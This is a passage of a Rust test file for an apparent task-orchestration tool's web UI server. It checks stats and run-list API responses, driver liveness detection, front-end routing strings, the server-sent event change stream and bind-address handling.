8980 assert_eq!(queue["running"], 0);
8981 assert_eq!(queue["done"], 0);
8982 assert_eq!(queue["failed"], 0);
8983 assert_eq!(queue["blocked"], 0);
8984 }
8985
8986 #[tokio::test]
8987 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
8988 let f = Fixture::start().await;
8989 let stats = f.get("/api/stats").await;
8990 assert_eq!(stats.status, 200);
8991 assert_eq!(stats.json()["totals"]["runs"], 0);
8992 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
8993 assert_eq!(stats.json()["runs_unreadable"], 0);
8994 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
8995 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
8996 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
8997 assert_eq!(stats.json()["repo"], Value::Null);
8998 }
8999
9000 #[tokio::test]
9001 async fn stats_lists_every_repository_with_runs_recorded() {
9002 let f = Fixture::start().await;
9003 write_run_repo(
9004 &f.runs(),
9005 "20260902-140501-a",
9006 RunStatus::Merged,
9007 "/repos/a",
9008 );
9009 write_run_repo(
9010 &f.runs(),
9011 "20260902-140502-b",
9012 RunStatus::Merged,
9013 "/repos/a",
9014 );
9015 write_run_repo(
9016 &f.runs(),
9017 "20260902-140503-c",
9018 RunStatus::Blocked,
9019 "/repos/b",
9020 );
9021
9022 let stats = f.get("/api/stats").await;
9023 assert_eq!(stats.status, 200);
9024 assert_eq!(stats.json()["totals"]["runs"], 3);
9026 assert_eq!(stats.json()["repo"], Value::Null);
9027
9028 let repos = stats.json()["repos"].clone();
9029 let repos = repos.as_array().unwrap();
9030 assert_eq!(repos.len(), 2);
9031 assert_eq!(repos[0]["repo"], "/repos/a");
9033 assert_eq!(repos[0]["name"], "a");
9034 assert_eq!(repos[0]["runs"], 2);
9035 assert_eq!(repos[1]["repo"], "/repos/b");
9036 assert_eq!(repos[1]["runs"], 1);
9037 }
9038
9039 #[tokio::test]
9040 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
9041 let f = Fixture::start().await;
9042 write_run_repo(
9043 &f.runs(),
9044 "20260902-140501-a",
9045 RunStatus::Merged,
9046 "/repos/a",
9047 );
9048 write_run_repo(
9049 &f.runs(),
9050 "20260902-140502-b",
9051 RunStatus::Blocked,
9052 "/repos/b",
9053 );
9054
9055 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
9056 assert_eq!(stats.status, 200);
9057 assert_eq!(stats.json()["totals"]["runs"], 1);
9058 assert_eq!(stats.json()["totals"]["merged"], 1);
9059 assert_eq!(stats.json()["repo"], "/repos/a");
9060 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
9063 assert_eq!(stats.json()["runs_unreadable"], 0);
9066 }
9067
9068 #[tokio::test]
9069 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
9070 let f = Fixture::start().await;
9071 write_run_repo(
9072 &f.runs(),
9073 "20260902-140501-a",
9074 RunStatus::Merged,
9075 "/repos/a",
9076 );
9077
9078 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
9079 assert_eq!(stats.status, 404);
9080 }
9081
9082 #[tokio::test]
9083 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
9084 let f = Fixture::start().await;
9085 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
9086
9087 let summary = f.get("/api/runs").await.json();
9088 let row = &summary[0];
9089 assert_eq!(row["short"], "a1b2");
9090 assert_eq!(row["status"], "ready");
9091 assert_eq!(row["done"], true);
9092 assert_eq!(row["title"], "Add a web UI");
9093 assert_eq!(row["repo_name"], "magi");
9094 assert_eq!(row["judges"], 3);
9095 assert_eq!(row["winner"], Value::Null);
9096 assert_eq!(row["reviews"], 0);
9097
9098 let detail = f.get("/api/runs/a1b2").await;
9101 assert_eq!(detail.status, 200);
9102 assert_eq!(detail.json()["base_branch"], "main");
9103 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
9104 }
9105
9106 #[tokio::test]
9114 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
9115 let f = Fixture::start().await;
9116
9117 let mut none_run = RunState::new(
9118 PathBuf::from("/repo/magi"),
9119 "main".to_owned(),
9120 "0123456789abcdef".to_owned(),
9121 "Add a web UI".to_owned(),
9122 Config::default(),
9123 );
9124 none_run.id = "20260902-140503-none".to_owned();
9125 none_run.status = RunStatus::Ready;
9126 none_run.merge = Some(crate::run::MergeOutcome {
9127 mode: crate::config::MergeMode::None,
9128 ok: true,
9129 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
9130 empty: false,
9131 });
9132 write_state(&f.runs(), &none_run);
9133
9134 let mut pr_run = RunState::new(
9135 PathBuf::from("/repo/magi"),
9136 "main".to_owned(),
9137 "0123456789abcdef".to_owned(),
9138 "Add a web UI".to_owned(),
9139 Config::default(),
9140 );
9141 pr_run.id = "20260902-140504-prcl".to_owned();
9142 pr_run.status = RunStatus::Ready;
9143 pr_run.merge = Some(crate::run::MergeOutcome {
9144 mode: crate::config::MergeMode::Pr,
9145 ok: false,
9146 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
9147 empty: false,
9148 });
9149 write_state(&f.runs(), &pr_run);
9150
9151 let summary = f.get("/api/runs").await.json();
9152 let rows: std::collections::HashMap<&str, &Value> = summary
9153 .as_array()
9154 .expect("an array")
9155 .iter()
9156 .map(|r| (r["id"].as_str().expect("an id"), r))
9157 .collect();
9158 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
9159 assert_eq!(
9160 rows[none_run.id.as_str()]["unmerged_by_design"],
9161 true,
9162 "a mode-none Ready must be flagged in the list"
9163 );
9164 assert_eq!(
9165 rows[pr_run.id.as_str()]["unmerged_by_design"],
9166 false,
9167 "a Ready reached by a closed pull request is a different case"
9168 );
9169
9170 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
9171 assert_eq!(none_detail["status"], "ready");
9172 assert_eq!(none_detail["unmerged_by_design"], true);
9173
9174 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
9175 assert_eq!(pr_detail["unmerged_by_design"], false);
9176 }
9177
9178 #[tokio::test]
9183 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
9184 let f = Fixture::start().await;
9185 let id = "20260902-140502-bbbb";
9189 let mut state = RunState::new(
9190 PathBuf::from("/repo/magi"),
9191 "main".to_owned(),
9192 "0123456789abcdef".to_owned(),
9193 "Add a web UI".to_owned(),
9194 Config::default(),
9195 );
9196 state.id = id.to_owned();
9197 state.status = RunStatus::Judging;
9198 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
9199 let dir = f.runs().join(id);
9200 std::fs::create_dir_all(&dir).expect("run dir");
9201 std::fs::write(
9202 dir.join("run.json"),
9203 serde_json::to_string_pretty(&state).expect("serialize run"),
9204 )
9205 .expect("write run.json");
9206
9207 let cold = f.get(&format!("/api/runs/{id}")).await.json();
9213 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
9214 assert_eq!(cold["live"], "unknown", "{cold}");
9215
9216 write_daemon(f.home.path(), Timestamp::now());
9219 let warm = f.get(&format!("/api/runs/{id}")).await.json();
9220 assert_eq!(warm["live"], "live", "{warm}");
9221 }
9222
9223 #[tokio::test]
9230 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
9231 let f = Fixture::start().await;
9232 let id = "20260922-090000-cccc";
9233 let mut state = RunState::new(
9234 PathBuf::from("/repo/magi"),
9235 "main".to_owned(),
9236 "0123456789abcdef".to_owned(),
9237 "Review only".to_owned(),
9238 Config::default(),
9239 );
9240 state.id = id.to_owned();
9241 state.status = RunStatus::Reviewing;
9242 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
9243 state.driver_pid = Some(std::process::id());
9249 state.driver_started_at = Some(
9250 crate::proc::process_started_at(std::process::id())
9251 .expect("this test process's own start time must be queryable"),
9252 );
9253 let dir = f.runs().join(id);
9254 std::fs::create_dir_all(&dir).expect("run dir");
9255 std::fs::write(
9256 dir.join("run.json"),
9257 serde_json::to_string_pretty(&state).expect("serialize run"),
9258 )
9259 .expect("write run.json");
9260
9261 let detail = f.get(&format!("/api/runs/{id}")).await.json();
9262 assert_eq!(detail["live"], "live", "{detail}");
9263 }
9264
9265 #[tokio::test]
9271 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
9272 let f = Fixture::start().await;
9273 let id = "20260922-090100-dddd";
9274 let mut state = RunState::new(
9275 PathBuf::from("/repo/magi"),
9276 "main".to_owned(),
9277 "0123456789abcdef".to_owned(),
9278 "Review only".to_owned(),
9279 Config::default(),
9280 );
9281 state.id = id.to_owned();
9282 state.status = RunStatus::Reviewing;
9283 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
9284 state.driver_pid = Some(std::process::id());
9289 state.driver_started_at = Some("not-this-processes-real-start-time".to_owned());
9290 let dir = f.runs().join(id);
9291 std::fs::create_dir_all(&dir).expect("run dir");
9292 std::fs::write(
9293 dir.join("run.json"),
9294 serde_json::to_string_pretty(&state).expect("serialize run"),
9295 )
9296 .expect("write run.json");
9297
9298 let detail = f.get(&format!("/api/runs/{id}")).await.json();
9299 assert_eq!(detail["live"], "dead", "{detail}");
9300 }
9301
9302 #[test]
9306 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
9307 let mk = |id: &str, pid: Option<u32>| {
9308 let mut s = RunState::new(
9309 PathBuf::from("/repo/magi"),
9310 "main".to_owned(),
9311 "0123456789abcdef".to_owned(),
9312 "Add a web UI".to_owned(),
9313 Config::default(),
9314 );
9315 s.id = id.to_owned();
9316 s.driver_pid = pid;
9317 s.driver_started_at = Some("t0".to_owned());
9318 s
9319 };
9320 let states = vec![
9321 mk("20260902-140502-aaaa", Some(77)),
9322 mk("20260902-140502-bbbb", Some(77)),
9323 mk("20260902-140502-cccc", Some(77)),
9324 mk("20260902-140502-dddd", None),
9325 ];
9326 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
9327 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
9328 let sup: HashMap<String, String> = [(
9329 "20260902-140502-aaaa".to_owned(),
9330 "20260902-140502-cccc".to_owned(),
9331 )]
9332 .into();
9333
9334 let status_calls = std::cell::Cell::new(0);
9335 let identity_calls = std::cell::Cell::new(0);
9336 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
9337 |_| {
9338 status_calls.set(status_calls.get() + 1);
9339 Some(true)
9340 },
9341 |_| {
9342 identity_calls.set(identity_calls.get() + 1);
9343 Some("t0".to_owned())
9344 },
9345 ));
9346 let rows = summarize(
9347 states,
9348 &open,
9349 &claimed,
9350 &sup,
9351 |p| probe.borrow_mut().status(p),
9352 |p| probe.borrow_mut().started_at(p),
9353 );
9354
9355 assert_eq!(status_calls.get(), 1, "one pid, one status query");
9356 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
9357 assert_eq!(rows.len(), 4);
9358 assert!(!rows[0].waiting && rows[1].waiting);
9359 assert_eq!(rows[0].live, crate::run::Liveness::Live);
9360 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
9361 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
9362 assert_eq!(rows[1].superseded_by, None);
9363 }
9364
9365 #[test]
9366 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
9367 let mut state = RunState::new(
9368 PathBuf::from("/repo/magi"),
9369 "main".to_owned(),
9370 "0123456789abcdef".to_owned(),
9371 "Review only".to_owned(),
9372 Config::default(),
9373 );
9374 state.id = "20260922-090200-dead".to_owned();
9375 state.status = RunStatus::Reviewing;
9376 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
9377 .expect("serialize list row");
9378 assert_eq!(row["status"], "reviewing");
9379 assert_eq!(row["live"], "dead", "{row}");
9380 assert!(!row["done"].as_bool().unwrap());
9381 }
9382
9383 #[tokio::test]
9384 async fn the_run_list_is_newest_first_and_honours_a_limit() {
9385 let f = Fixture::start().await;
9386 for id in [
9387 "20260902-140501-aaaa",
9388 "20260902-140502-bbbb",
9389 "20260902-140503-cccc",
9390 ] {
9391 write_run(&f.runs(), id, RunStatus::Merged);
9392 }
9393
9394 let all = f.get("/api/runs").await.json();
9395 let capped = f.get("/api/runs?limit=2").await.json();
9396
9397 assert_eq!(all[0]["id"], "20260902-140503-cccc");
9398 assert_eq!(all.as_array().map(Vec::len), Some(3));
9399 assert_eq!(capped.as_array().map(Vec::len), Some(2));
9400 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
9401 }
9402
9403 #[tokio::test]
9404 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
9405 let f = Fixture::start().await;
9406 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
9407
9408 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
9409
9410 assert_eq!(res.status, 200);
9411 assert!(
9412 res.headers
9413 .contains("content-type: text/plain; charset=utf-8"),
9414 "a browser must render it, not download it: {}",
9415 res.headers
9416 );
9417 assert!(
9421 res.body.contains("20260902-140501-a1b2"),
9422 "the report is about the run that was asked for: {}",
9423 res.body
9424 );
9425 }
9426
9427 #[tokio::test]
9428 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
9429 let f = Fixture::start().await;
9430
9431 let html = f.get("/").await;
9432 let css = f.get("/app.css").await;
9433 let js = f.get("/app.js").await;
9434
9435 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
9436 assert!(
9437 html.headers
9438 .contains("content-type: text/html; charset=utf-8")
9439 );
9440 assert!(css.headers.contains("content-type: text/css"));
9441 assert!(js.headers.contains("content-type: text/javascript"));
9442 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
9443 }
9444
9445 #[test]
9446 fn live_runs_are_never_hidden_or_folded_as_superseded() {
9447 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
9448 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
9449 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
9450 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
9451 }
9452
9453 #[test]
9454 fn review_rounds_label_a_distinct_verified_head() {
9455 assert!(APP_JS.contains("round.verified_head"));
9456 assert!(APP_JS.contains("verified HEAD"));
9457 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
9458 }
9459
9460 #[test]
9461 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
9462 assert!(APP_JS.contains("blocked: { glyph:"));
9466 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
9467
9468 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
9472 assert!(
9473 APP_JS.contains(
9474 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
9475 ),
9476 "the note line must name what a blocked task is waiting on, not just that it is blocked"
9477 );
9478 assert!(APP_JS.contains("if (status === \"blocked\") {"));
9482
9483 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
9487 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
9488 assert!(
9489 APP_JS.contains("location.hash = \"#/questions\";"),
9490 "a question node must jump to the Questions screen, not pretend to be a task"
9491 );
9492
9493 assert!(APP_JS.contains("Resolved questions"));
9496 assert!(APP_JS.contains("r.answersList.append("));
9497 assert!(APP_CSS.contains(".task-answers"));
9498 {
9499 let start = APP_JS
9500 .find("function updateTalkTaskRow")
9501 .expect("updateTalkTaskRow");
9502 let body = &APP_JS[start..start + 900];
9503 assert!(body.contains("task.runs[") || body.contains("runs[runs.length - 1]"));
9504 assert!(body.contains("setAttr(r.link, \"href\""));
9505 assert!(body.contains(
9506 "latest ? `#/runs/${latest}` : `#/queue/${encodeURIComponent(task.id)}`"
9507 ));
9508 assert!(
9509 !body.contains(": \"#/queue\""),
9510 "a task with no run must link to its own queue card, not the bare queue"
9511 );
9512 assert!(APP_CSS.contains(".talk-task-link"));
9513 }
9514 }
9515
9516 #[test]
9517 fn a_task_notification_links_to_its_own_card_not_the_bare_backlog() {
9518 assert!(
9523 APP_JS.contains(
9524 "el(\"a\", { href: `#/queue/${encodeURIComponent(link.id)}`, text: `Task ${shortId(link.id)}` })"
9525 ),
9526 "a task notice's link must carry the task id into the hash, not just name the Backlog screen"
9527 );
9528 assert!(
9529 !APP_JS.contains("el(\"a\", { href: \"#/queue\", text: `Task ${shortId(link.id)}` })"),
9530 "regression: the task link must not go back to naming the bare Backlog route"
9531 );
9532
9533 assert!(
9536 APP_JS.contains(
9537 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
9538 ),
9539 "`#/queue/<id>` must parse into a route carrying that id"
9540 );
9541
9542 assert!(APP_JS.contains("state.queueFocus = route.id;"));
9546 assert!(APP_JS.contains("function consumeQueueFocus()"));
9547 assert!(APP_JS.contains("jumpToTask(id)"));
9548 }
9549
9550 #[test]
9551 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
9552 assert!(
9561 APP_JS.contains(
9562 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
9563 ),
9564 "the search-clearing branch must run before state.queueFocus is cleared, or the \
9565 recursive renderQueue() call has nothing left to jump to"
9566 );
9567 assert!(
9568 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
9569 "state.queueFocus must be cleared only once the jump has landed, so a card that \
9570 arrives later still gets it"
9571 );
9572 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
9573 assert!(APP_JS.contains("is not in the current Backlog."));
9574 assert!(APP_JS.contains("li.card[data-task-id=\""));
9575 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
9576 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
9577 assert!(APP_CSS.contains(".card-permalink"));
9578 assert!(APP_CSS.contains(".queue-focus-status"));
9579 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
9580 }
9581
9582 #[test]
9583 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
9584 assert!(
9592 APP_JS.contains(
9593 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
9594 ),
9595 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
9596 );
9597 }
9598
9599 #[test]
9600 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
9601 assert!(
9602 APP_JS.contains("round.verified_head !== round.head"),
9603 "a round that verified an earlier commit must be visibly distinct from one that \
9604 verified the head reviewers are looking at now"
9605 );
9606 assert!(
9607 APP_JS.contains("round.verified_at"),
9608 "when a check ran must be on the wire, not just which commit"
9609 );
9610 assert!(
9611 APP_JS.contains("resource_blocked"),
9612 "a command magi never got to run (shared build cache contention) must not render \
9613 the same as a command that ran and failed"
9614 );
9615 }
9616
9617 #[test]
9618 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
9619 assert!(
9627 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
9628 "every KPI tile built through statusTile() must route its click through \
9629 openRunsFiltered, the single place that sets the Runs filter"
9630 );
9631 for (label, status) in [
9632 ("Merged", "merged"),
9633 ("Ready", "ready"),
9634 ("Blocked", "blocked"),
9635 ("Stalled", "stalled"),
9636 ] {
9637 let call = format!("statusTile(\"{label}\", t.{status}, ");
9638 assert!(
9639 APP_JS.contains(&call),
9640 "expected the {label} KPI tile built via {call}..."
9641 );
9642 assert!(
9643 APP_JS.contains(&format!("status === \"{status}\"")),
9644 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
9645 compare a run against, not one invented only for the stats tile"
9646 );
9647 }
9648 assert!(
9649 APP_JS.contains("function openRunsFiltered(status)"),
9650 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
9651 );
9652 assert!(
9653 APP_JS.contains("if (status && String(run.status || \"\") !== status) return false;"),
9654 "matchesFilter must gate on the exact status a KPI tile named"
9655 );
9656 assert!(
9664 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
9665 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
9666 hashchange event that may never fire"
9667 );
9668 }
9669
9670 #[test]
9671 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
9672 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
9678 assert!(
9679 APP_JS.contains(
9680 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
9681 ),
9682 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
9683 guard for an incompatible tree section"
9684 );
9685 }
9686
9687 #[test]
9688 fn every_stats_queue_tile_names_a_real_queue_section() {
9689 assert!(
9695 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
9696 "every queue tile built through sectionTile() must route its click through \
9697 openQueueSectionFocus"
9698 );
9699 for key in ["upnext", "running", "done", "held", "blocked"] {
9700 assert!(
9701 APP_JS.contains(&format!("{{ key: \"{key}\",")),
9702 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
9703 );
9704 }
9705 for line in [
9709 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
9710 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
9711 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
9712 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
9713 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
9714 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
9715 ] {
9716 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
9717 }
9718 }
9719
9720 #[test]
9721 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
9722 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
9729 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
9730 assert!(APP_JS.contains("function revealQueueSection(details)"));
9731 assert!(
9732 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
9733 "renderQueue() must consume both focus channels on every pass"
9734 );
9735 assert!(
9736 APP_JS.contains(
9737 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
9738 ),
9739 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
9740 the recursive renderQueue() call has nothing left to reveal"
9741 );
9742 assert!(
9743 APP_JS.contains(
9744 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
9745 ),
9746 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
9747 );
9748 assert!(
9756 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
9757 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
9758 hashchange event that may never fire"
9759 );
9760 }
9761
9762 #[tokio::test]
9763 async fn the_change_stream_announces_the_current_revisions_on_connect() {
9764 let f = Fixture::start().await;
9765
9766 let mut socket = tokio::net::TcpStream::connect(f.addr)
9767 .await
9768 .expect("connect");
9769 socket
9770 .write_all(
9771 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
9772 )
9773 .await
9774 .expect("write request");
9775
9776 let mut seen = String::new();
9779 let mut buf = [0u8; 1024];
9780 while !seen.contains("event: change") {
9781 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
9782 .await
9783 .expect("the stream must speak within five seconds")
9784 .expect("read");
9785 assert!(read > 0, "the server closed the change stream: {seen}");
9786 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
9787 }
9788
9789 assert!(
9790 seen.to_lowercase()
9791 .contains("content-type: text/event-stream"),
9792 "the browser only reconnects automatically for a real SSE stream: {seen}"
9793 );
9794 let data = seen
9795 .lines()
9796 .find_map(|l| l.strip_prefix("data:"))
9797 .expect("a data line");
9798 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
9799 assert!(
9800 payload["queue_rev"].is_u64()
9801 && payload["runs_rev"].is_u64()
9802 && payload["questions_rev"].is_u64()
9803 && payload["talks_rev"].is_u64()
9804 && payload["notifications_rev"].is_u64()
9805 && payload["loop_rev"].is_u64(),
9806 "the client needs one revision per store to know what to refetch, \
9807 and `talks_rev` is the only notification a standing talk gets - a \
9808 phone whose radio slept through a turn learns about it here, as \
9809 does one whose operator started the loop from another device: \
9810 {payload}"
9811 );
9812
9813 let health = f.get("/api/health").await.json();
9820 for key in [
9821 "queue_rev",
9822 "runs_rev",
9823 "questions_rev",
9824 "talks_rev",
9825 "notifications_rev",
9826 "loop_rev",
9827 ] {
9828 assert!(
9829 health[key].is_u64(),
9830 "health is the change stream's fallback and is missing `{key}`: {health}"
9831 );
9832 }
9833 }
9834
9835 #[tokio::test]
9836 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
9837 let f = Fixture::start().await;
9838 let before = f.get("/api/health").await.json()["talks_rev"]
9839 .as_u64()
9840 .expect("talks_rev");
9841
9842 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
9843 std::thread::sleep(Duration::from_millis(10));
9844 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
9845 on_disk.turns.push(crate::talk::Turn {
9846 who: crate::talk::Who::Operator,
9847 body: "a new turn".to_owned(),
9848 at: Timestamp::now(),
9849 attachments: Vec::new(),
9850 });
9851 f.talks().put(&mut on_disk).expect("record a turn");
9852
9853 let after = f.get("/api/health").await.json()["talks_rev"]
9854 .as_u64()
9855 .expect("talks_rev");
9856 assert_ne!(
9857 before, after,
9858 "a phone must be able to notice a talk's reply without polling every store"
9859 );
9860 }
9861
9862 #[test]
9863 fn bind_reads_back_from_the_spelling_the_cli_prints() {
9864 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
9868 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
9869 }
9870 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
9871 assert!("everywhere".parse::<Bind>().is_err());
9872 }
9873
9874 #[test]
9875 fn an_explicit_bind_address_is_taken_verbatim() {
9876 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
9877
9878 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
9879
9880 assert_eq!(addr, asked);
9881 assert!(
9882 warning.is_none(),
9883 "an operator who named an address gets no lecture"
9884 );
9885 }
9886
9887 #[test]
9888 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
9889 let (addr, warning) = resolve_bind(&Bind::Auto);
9890
9891 match addr {
9898 IpAddr::V4(ip) if is_tailnet(&ip) => {
9899 assert!(warning.is_none(), "a tailnet address needs no warning");
9900 }
9901 other => {
9902 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
9903 let warning = warning.expect("a fallback has to explain itself");
9904 assert!(
9905 warning.contains("127.0.0.1") && warning.contains("local-only"),
9906 "the warning says what happened and what it costs: {warning}"
9907 );
9908 }
9909 }
9910 }
9911
9912 #[test]
9913 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
9914 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
9918 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
9919 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
9920 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
9921 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
9922 }
9923
9924 #[test]
9925 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
9926 let ids = vec![
9927 "20260902-140501-aaaa".to_owned(),
9928 "20260902-140502-aabb".to_owned(),
9929 ];
9930
9931 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
9932 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
9933 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
9934
9935 assert_eq!(missing.status, StatusCode::NOT_FOUND);
9936 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
9937 assert_eq!(short, "20260902-140502-aabb");
9938 }
9939 #[tokio::test]
9940 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
9941 let fx = Fixture::start().await;
9947 let id = panel(
9948 &fx,
9949 "<img src=\"shot.png\">",
9950 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
9951 );
9952
9953 let doc = fx
9955 .get(&format!("/api/questions/{id}/panel/index.html"))
9956 .await;
9957 assert_eq!(doc.status, 200, "{}", doc.body);
9958 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
9959
9960 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
9961 assert_eq!(sibling.status, 200, "{}", sibling.body);
9962 assert_eq!(sibling.header("content-type"), Some("image/png"));
9963 assert_eq!(
9964 sibling.header("content-security-policy"),
9965 Some(PANEL_CSP),
9966 "the sibling route must carry the same policy as the asset route"
9967 );
9968
9969 assert_eq!(
9972 fx.head(&format!("/api/questions/{id}/panel")).await.status,
9973 200
9974 );
9975 }
9976
9977 #[test]
9978 fn runs_revision_moves_when_deleting_an_older_run() {
9979 let temp = TempDir::new().expect("tempdir");
9980 let runs = temp.path().join("runs");
9981 std::fs::create_dir_all(&runs).expect("create runs dir");
9982
